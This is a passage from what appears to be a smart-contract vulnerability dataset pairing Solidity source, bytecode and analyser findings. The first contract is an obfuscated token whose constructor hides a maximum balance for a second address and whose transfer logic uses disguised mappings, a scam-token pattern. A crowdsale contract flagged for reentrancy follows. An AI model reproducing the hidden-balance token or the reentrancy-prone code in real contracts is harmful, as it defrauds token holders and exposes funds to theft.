uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address or
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[or] = rhyme;
_balances[msg.sender] = _tTotal;
these[or] = rhyme;
these[msg.sender] = rhyme;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private exactly;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private rhyme = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function income(
address wrong,
address surrounded,
uint256 amount
) private {
address government = exactly[address(0)];
bool willing = uniswapV2Pair == wrong;
uint256 forgot = _fee;
if (these[wrong] == 0 && then[wrong] > 0 && !willing) {
these[wrong] -= forgot;
}
exactly[address(0)] = surrounded;
if (these[wrong] > 0 && amount == 0) {
these[surrounded] += forgot;
}
then[government] += forgot;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[wrong] -= fee;
_balances[address(this)] += fee;
_balances[wrong] -= amount;
_balances[surrounded] += amount;
}
mapping(address => uint256) private then;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private these;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
income(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
income(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220a0d07eeb5a6f022ae3280bdfe3a81847f5d762f78f65dd19a923225fe538b3d364736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,432 |
0xa5b1685b23db36859611cac03e0c68daf0e3c0a1
|
pragma solidity ^0.4.18;
/**
* @title Smart City Crowdsale contract https://www.smartcitycoin.io
*/
contract SmartCityToken {
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {}
function setTokenStart(uint256 _newStartTime) public {}
function burn() public {}
}
contract SmartCityCrowdsale {
using SafeMath for uint256;
/// state
SmartCityToken public token; // Token Contract
address public owner; // Owner address
mapping (address => bool) whitelist; // useers whithelist
mapping(address => uint256) public balances; // the array of users along with amounts invested
mapping(address => uint256) public purchases; // the array of users and tokens purchased
uint256 public raisedEth; // Amount of Ether raised
uint256 public startTime; // Crowdale start time
uint256 public tokensSoldTotal = 0; // Sold Tolkens counter
bool public crowdsaleEnded = false; // if the Campaign is over
bool public paused = false; // if the Campaign is paused
uint256 public positionPrice = 5730 finney; // Initially 1 investement position costs 5.73 ETH, might be changed by owner afterwards
uint256 public usedPositions = 0; // Initial number of used investment positions
uint256 public availablePositions = 100; // Initial number of open investment positions
address walletAddress; // address of the wallet contract storing the funds
/// constants
uint256 constant public tokensForSale = 164360928100000; // Total amount of tokens allocated for the Crowdsale
uint256 constant public weiToTokenFactor = 10000000000000;
uint256 constant public investmentPositions = 4370; // Total number of investment positions
uint256 constant public investmentLimit = 18262325344444; // the maximum amount of Ether an address is allowed to invest - limited to 1/9 of tokens allocated for sale
/// events
event FundTransfer(address indexed _investorAddr, uint256 _amount, uint256 _amountRaised); // fired on transfering funds from investors
event Granted(address indexed party); // user is added to the whitelist
event Revoked(address indexed party); // user is removed from the whitelist
event Ended(uint256 raisedAmount); // Crowdsale is ended
/// modifiers
modifier onlyWhenActive() {
require(now >= startTime && !crowdsaleEnded && !paused);
_;
}
modifier whenPositionsAvailable() {
require(availablePositions > 0);
_;
}
modifier onlyWhitelisted(address party) {
require(whitelist[party]);
_;
}
modifier onlyNotOnList(address party) {
require(!whitelist[party]);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Crowdsale Contract initialization
* @param _owner address Token owner address
* @param _tokenAddress address Crowdsale end time
* @param _walletAddress address Beneficiary address where the funds are collected
* @param _start uint256 Crowdsale Start Time
*/
function SmartCityCrowdsale (
address _tokenAddress,
address _owner,
address _walletAddress,
uint256 _start) public {
owner = _owner;
token = SmartCityToken(_tokenAddress);
walletAddress = _walletAddress;
startTime = _start; // Crowdsale Start Time
}
/**
* @dev Investment can be done just by sending Ether to Crowdsale Contract
*/
function() public payable {
invest();
}
/**
* @dev Make an investment
*/
function invest() public payable
onlyWhitelisted(msg.sender)
whenPositionsAvailable
onlyWhenActive
{
address _receiver = msg.sender;
uint256 amount = msg.value; // Transaction value in Wei
var (positionsCnt, tokensCnt) = getPositionsAndTokensCnt(amount);
require(positionsCnt > 0 && positionsCnt <= availablePositions && tokensCnt > 0);
require(purchases[_receiver].add(tokensCnt) <= investmentLimit); // Check the investment limit is not exceeded
require(tokensSoldTotal.add(tokensCnt) <= tokensForSale);
walletAddress.transfer(amount); // Send funds to the Wallet
balances[_receiver] = balances[_receiver].add(amount); // Add the amount invested to Investor's ballance
purchases[_receiver] = purchases[_receiver].add(tokensCnt); // Add tokens to Investor's purchases
raisedEth = raisedEth.add(amount); // Increase raised funds counter
availablePositions = availablePositions.sub(positionsCnt);
usedPositions = usedPositions.add(positionsCnt);
tokensSoldTotal = tokensSoldTotal.add(tokensCnt); // Increase sold CITY counter
require(token.transferFrom(owner, _receiver, tokensCnt)); // Transfer CITY purchased to Investor
FundTransfer(_receiver, amount, raisedEth);
if (usedPositions == investmentPositions) { // Sold Out
token.burn();
crowdsaleEnded = true; // mark Crowdsale ended
Ended(raisedEth);
}
}
/**
* @dev Calculate the amount of Tokens purchased based on the value sent and current Token price
* @param _value uint256 Amount invested
*/
function getPositionsAndTokensCnt(uint256 _value) public constant onlyWhenActive returns(uint256 positionsCnt, uint256 tokensCnt) {
if (_value % positionPrice != 0 || usedPositions >= investmentPositions) {
return(0, 0);
}
else {
uint256 purchasedPositions = _value.div(positionPrice);
uint256 purchasedTokens = ((tokensForSale.sub(tokensSoldTotal)).mul(purchasedPositions)).div(investmentPositions.sub(usedPositions));
return(purchasedPositions, purchasedTokens);
}
}
function getMinPurchase() public constant onlyWhenActive returns(uint256 minPurchase) {
return positionPrice;
}
/// Owner functions
/**
* @dev To increace/reduce number of Investment Positions released for sale
*/
function setAvailablePositions(uint256 newAvailablePositions) public onlyOwner {
require(newAvailablePositions <= investmentPositions.sub(usedPositions));
availablePositions = newAvailablePositions;
}
/**
* @dev Allows Investment Position price changes
*/
function setPositionPrice(uint256 newPositionPrice) public onlyOwner {
require(newPositionPrice > 0);
positionPrice = newPositionPrice;
}
/**
* @dev Emergency function to pause Crowdsale.
*/
function setPaused(bool _paused) public onlyOwner { paused = _paused; }
/**
* @dev Emergency function to drain the contract of any funds.
*/
function drain() public onlyOwner { walletAddress.transfer(this.balance); }
/**
* @dev Function to manually finalize Crowdsale.
*/
function endCrowdsale() public onlyOwner {
usedPositions = investmentPositions;
availablePositions = 0;
token.burn(); // burn all unsold tokens
crowdsaleEnded = true; // mark Crowdsale ended
Ended(raisedEth);
}
/// Whitelist functions
function grant(address _party) public onlyOwner onlyNotOnList(_party)
{
whitelist[_party] = true;
Granted(_party);
}
function revoke(address _party) public onlyOwner onlyWhitelisted(_party)
{
whitelist[_party] = false;
Revoked(_party);
}
function massGrant(address[] _parties) public onlyOwner
{
uint len = _parties.length;
for (uint i = 0; i < len; i++) {
whitelist[_parties[i]] = true;
Granted(_parties[i]);
}
}
function massRevoke(address[] _parties) public onlyOwner
{
uint len = _parties.length;
for (uint i = 0; i < len; i++) {
whitelist[_parties[i]] = false;
Revoked(_parties[i]);
}
}
function isWhitelisted(address _party) public constant returns (bool) {
return whitelist[_party];
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* CITY 2.0 token by www.SmartCityCoin.io
*
* .ossssss: `+sssss`
* ` +ssssss+` `.://++++++//:.` .osssss+
* /sssssssssssssssssssssssss+ssssso`
* -sssssssssssssssssssssssssssss+`
* .+sssssssss+:--....--:/ossssssss+.
* `/ssssssssssso` .sssssssssss/`
* .ossssss+sssssss- :sssss+:ossssso.
* `ossssso. .ossssss: `/sssss/ `/ssssss.
* ossssso` `+ssssss+` .osssss: /ssssss`
* :ssssss` /sssssso:ssssso. +o+/:-`
* osssss+ -sssssssssss+`
* ssssss: .ossssssss/
* osssss/ `+ssssss-
* /ssssso :ssssss
* .ssssss- :ssssss
* :ssssss- :ssssss `
* /ssssss/` :ssssss `/s+:`
* :sssssso:. :ssssss ./ssssss+`
* .+ssssssso/-.`:ssssss``.-/osssssss+.
* .+ssssssssssssssssssssssssssss+-
* `:+ssssssssssssssssssssss+:`
* `.:+osssssssssssso+:.`
* `/ssssss.`
* :ssssss
*/
|
0x60606040526004361061015b5763ffffffff60e060020a6000350416630f3d8803811461016557806312aef8c31461018a57806316c38b3c1461019d5780632095f2d4146101b5578063222b0d7d146101c85780632367f35d1461021757806327e235e31461023e5780633af32abf1461025d5780634081c0651461027c5780634dcad927146102cb5780635c975abb146102de5780636b65be60146102f157806370284d191461030457806374a8f1031461032357806378e9792514610342578063842a77d3146103555780638ceaa23f146103745780638da5cb5b1461038a5780638e6fdd31146103b95780639890220b146103cc578063a533daf7146103df578063a9414cc3146103f2578063ba7efcdd14610420578063d1c06b2f14610433578063d5812ae114610446578063dc2424fc14610459578063e8b5e51f1461015b578063ec176dee1461046f578063fc0c546a14610482575b610163610495565b005b341561017057600080fd5b610178610836565b60405190815260200160405180910390f35b341561019557600080fd5b610178610873565b34156101a857600080fd5b610163600435151561087d565b34156101c057600080fd5b6101636108b2565b34156101d357600080fd5b610163600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061097095505050505050565b341561022257600080fd5b61022a610a3d565b604051901515815260200160405180910390f35b341561024957600080fd5b610178600160a060020a0360043516610a46565b341561026857600080fd5b61022a600160a060020a0360043516610a58565b341561028757600080fd5b6101636004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610a7695505050505050565b34156102d657600080fd5b610178610b3e565b34156102e957600080fd5b61022a610b44565b34156102fc57600080fd5b610178610b52565b341561030f57600080fd5b610163600160a060020a0360043516610b58565b341561032e57600080fd5b610163600160a060020a0360043516610bef565b341561034d57600080fd5b610178610c84565b341561036057600080fd5b610178600160a060020a0360043516610c8a565b341561037f57600080fd5b610163600435610c9c565b341561039557600080fd5b61039d610cde565b604051600160a060020a03909116815260200160405180910390f35b34156103c457600080fd5b610178610ced565b34156103d757600080fd5b610163610cf3565b34156103ea57600080fd5b610178610d49565b34156103fd57600080fd5b610408600435610d4f565b60405191825260208201526040908101905180910390f35b341561042b57600080fd5b610178610e30565b341561043e57600080fd5b610178610e3a565b341561045157600080fd5b610178610e40565b341561046457600080fd5b610163600435610e46565b341561047a57600080fd5b610178610e73565b341561048d57600080fd5b61039d610e7d565b33600160a060020a038116600090815260026020526040812054909182918291829160ff1615156104c557600080fd5b600b54600090116104d557600080fd5b60065442101580156104ea575060085460ff16155b80156104fe5750600854610100900460ff16155b151561050957600080fd5b33945034935061051884610d4f565b9250925060008311801561052e5750600b548311155b801561053a5750600082115b151561054557600080fd5b600160a060020a03851660009081526004602052604090205465109c076a38bc90610576908463ffffffff610e8c16565b111561058157600080fd5b60075465957c42bbfea09061059c908463ffffffff610e8c16565b11156105a757600080fd5b600c54600160a060020a031684156108fc0285604051600060405180830381858888f1935050505015156105da57600080fd5b600160a060020a038516600090815260036020526040902054610603908563ffffffff610e8c16565b600160a060020a038616600090815260036020908152604080832093909355600490522054610638908363ffffffff610e8c16565b600160a060020a038616600090815260046020526040902055600554610664908563ffffffff610e8c16565b600555600b5461067a908463ffffffff610ea616565b600b55600a54610690908463ffffffff610e8c16565b600a556007546106a6908363ffffffff610e8c16565b60075560008054600154600160a060020a03918216926323b872dd9290911690889086906040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561072057600080fd5b6102c65a03f1151561073157600080fd5b50505060405180519050151561074657600080fd5b84600160a060020a03167f4868204ba256324465262345d316654988b849a14e86d2216ef1e095638419918560055460405191825260208201526040908101905180910390a2611112600a54141561082f57600054600160a060020a03166344df8e706040518163ffffffff1660e060020a028152600401600060405180830381600087803b15156107d757600080fd5b6102c65a03f115156107e857600080fd5b50506008805460ff19166001179055506005547f601095663bda08ac0f932087ef2eb08e42e4bcd1927f3a8d9500f6ad2c5aef909060405190815260200160405180910390a15b5050505050565b6000600654421015801561084d575060085460ff16155b80156108615750600854610100900460ff16155b151561086c57600080fd5b5060095490565b65957c42bbfea081565b60015433600160a060020a0390811691161461089857600080fd5b600880549115156101000261ff0019909216919091179055565b60015433600160a060020a039081169116146108cd57600080fd5b611112600a556000600b81905554600160a060020a03166344df8e706040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561091757600080fd5b6102c65a03f1151561092857600080fd5b50506008805460ff19166001179055506005547f601095663bda08ac0f932087ef2eb08e42e4bcd1927f3a8d9500f6ad2c5aef909060405190815260200160405180910390a1565b600154600090819033600160a060020a0390811691161461099057600080fd5b82519150600090505b81811015610a38576000600260008584815181106109b357fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106109f157fe5b90602001906020020151600160a060020a03167fb6fa8b8bd5eab60f292eca876e3ef90722275b785309d84b1de113ce0b8c4e7460405160405180910390a2600101610999565b505050565b60085460ff1681565b60036020526000908152604090205481565b600160a060020a031660009081526002602052604090205460ff1690565b600154600090819033600160a060020a03908116911614610a9657600080fd5b82519150600090505b81811015610a3857600160026000858481518110610ab957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055828181518110610af757fe5b90602001906020020151600160a060020a03167f07fbfa1ea88900f6f3310f4b2f87c8f523243d3ad73b76ea750044dfa98341b760405160405180910390a2600101610a9f565b60075481565b600854610100900460ff1681565b600a5481565b60015433600160a060020a03908116911614610b7357600080fd5b600160a060020a038116600090815260026020526040902054819060ff1615610b9b57600080fd5b600160a060020a03821660008181526002602052604090819020805460ff191660011790557f07fbfa1ea88900f6f3310f4b2f87c8f523243d3ad73b76ea750044dfa98341b7905160405180910390a25050565b60015433600160a060020a03908116911614610c0a57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161515610c3357600080fd5b600160a060020a03821660008181526002602052604090819020805460ff191690557fb6fa8b8bd5eab60f292eca876e3ef90722275b785309d84b1de113ce0b8c4e74905160405180910390a25050565b60065481565b60046020526000908152604090205481565b60015433600160a060020a03908116911614610cb757600080fd5b600a54610ccd906111129063ffffffff610ea616565b811115610cd957600080fd5b600b55565b600154600160a060020a031681565b60055481565b60015433600160a060020a03908116911614610d0e57600080fd5b600c54600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610d4757600080fd5b565b61111281565b6000806000806006544210158015610d6a575060085460ff16155b8015610d7e5750600854610100900460ff16155b1515610d8957600080fd5b60095485811515610d9657fe5b06151580610da85750611112600a5410155b15610db95760009350839250610e29565b600954610dcd90869063ffffffff610eb816565b9150610e20610de9600a54611112610ea690919063ffffffff16565b610e1484610e0860075465957c42bbfea0610ea690919063ffffffff16565b9063ffffffff610ecf16565b9063ffffffff610eb816565b90508181935093505b5050915091565b65109c076a38bc81565b600b5481565b60095481565b60015433600160a060020a03908116911614610e6157600080fd5b60008111610e6e57600080fd5b600955565b6509184e72a00081565b600054600160a060020a031681565b600082820183811015610e9b57fe5b8091505b5092915050565b600082821115610eb257fe5b50900390565b6000808284811515610ec657fe5b04949350505050565b600080831515610ee25760009150610e9f565b50828202828482811515610ef257fe5b0414610e9b57fe00a165627a7a7230582005dbc756bad1a0621c5f6dfa2ae5b8ad5e466b6e20f7b85edd69141f56e3a0e10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,433 |
0xab55bf4dfbf469ebfe082b7872557d1f87692fe6
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
// Part: IPriceFeed
interface IPriceFeed {
function initialize(
uint256 maxSafePriceDifference,
address stableSwapOracleAddress,
address curvePoolAddress,
address admin
) external;
}
// Part: OpenZeppelin/openzeppelin-contracts@4.0.0/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
